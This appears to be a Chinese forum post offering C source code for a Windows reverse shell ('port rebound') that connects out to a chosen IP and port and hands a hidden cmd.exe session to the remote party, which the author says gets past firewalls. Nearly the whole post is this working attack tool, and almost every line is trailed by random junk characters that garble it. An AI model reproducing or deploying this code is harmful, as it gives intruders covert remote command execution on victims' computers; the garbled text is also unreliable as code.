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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #kq!{5,  
) ba~7A  
/* ============================== lv'WRS'}  
Rebound port in Windows NT '?L^Fa_H  
By wind,2006/7 kLZVTVSJt  
===============================*/ l:uQ#Z)  
#include V K 7  
#include ^879sI  
>X' -J{4R  
#pragma comment(lib,"wsock32.lib") WKlyOK=}  
kP ,8[r  
void OutputShell(); jy?*`q1]  
SOCKET sClient;  gu[EYg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Zis,%XY  
Rqp#-04*W  
void main(int argc,char **argv) >RAg63!`  
{ 4n7Kz_!SVf  
WSADATA stWsaData; ._^ne=Lx  
int nRet; L-C^7[48=  
SOCKADDR_IN stSaiClient,stSaiServer; ]rH[+t-  
?X@[ibH6  
if(argc != 3) H?J:_1  
{ x5BS|3W$a  
printf("Useage:\n\rRebound DestIP DestPort\n"); X3 kFJ{  
return; _lwKa, }  
} a*U[;(  
jTIG#J)  
WSAStartup(MAKEWORD(2,2),&stWsaData); "8ellKh  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o /[7Vo  
iBSg`"S^]C  
stSaiClient.sin_family = AF_INET; ] h(Iun  
stSaiClient.sin_port = htons(0); 2a eH^:u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /}8Au$nA  
$S|+U}]C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &um++ \  
{ UNa "\  
printf("Bind Socket Failed!\n"); [Tp?u8$p`  
return; Zja3HGL  
} AG=PbY9  
}3X/"2SW^  
stSaiServer.sin_family = AF_INET; 8T T#b?d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `hkvxt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YYYF a  
`@],J  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E OXkMr  
{ <KU 0K  
printf("Connect Error!"); hQm=9gS  
return; 0't)-Pj+,  
} [07E-TT2U  
OutputShell(); zdrP56rzZ  
} D5@=#/?*  
^]R_t@  
void OutputShell() VPYLDg.'  
{ aO&{.DO2  
char szBuff[1024]; A_wf_.l4h  
SECURITY_ATTRIBUTES stSecurityAttributes; RdWn =;  
OSVERSIONINFO stOsversionInfo; KYm8|]'g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s0f+AS|}  
STARTUPINFO stStartupInfo; y 2> 93m  
char *szShell; -6kX?sNl)X  
PROCESS_INFORMATION stProcessInformation; D5P-$1KPt  
unsigned long lBytesRead; Kgr<OL}VJ  
*pa hZiO  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :p/=KI_  
} u;{38~  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oOpEpQ}}q  
stSecurityAttributes.lpSecurityDescriptor = 0; lt6wmCe  
stSecurityAttributes.bInheritHandle = TRUE; GEc-<`-  
fGlvum  
V=8db% ^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !<:Cd(bM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Et N,  
:5%98V>02  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bTimJp[b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C`i#7zsH  
stStartupInfo.wShowWindow = SW_HIDE; X1.-C@o  
stStartupInfo.hStdInput = hReadPipe; KqntOo} y)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n~ad#iN  
q& -mbWBj  
GetVersionEx(&stOsversionInfo); ?DUim1KG  
HZRFE[ 9nb  
switch(stOsversionInfo.dwPlatformId) 4uOR=+/l  
{ |JIlp"[  
case 1: ZL<X* l2  
szShell = "command.com"; F8-GnT xa  
break; SED52$zA  
default: Wn@oG@}~  
szShell = "cmd.exe"; 5WHz_'c  
break; zU&Iy_Ke.  
} qSr]d`7@  
giNXX jl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J\*uW|=F  
_F6<ba}o3  
send(sClient,szMsg,77,0); 1!MJ+?Jl  
while(1) f )T\  
{ >o1dc*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I#(lxlp"Ho  
if(lBytesRead) iRsB|7v[,  
{ -z`FKej   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jSE)&K4nI  
send(sClient,szBuff,lBytesRead,0); $lT8M-yK\  
} 2.%)OC!q&5  
else tJ;qZyy(  
{ zni9  
lBytesRead=recv(sClient,szBuff,1024,0); pV ^+X}  
if(lBytesRead<=0) break; ZMgsuzg  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5`p9Xo>)yW  
} yR>P  
} j_so s%-  
g]vB\5uA:  
return; K{DC{yLu  
}
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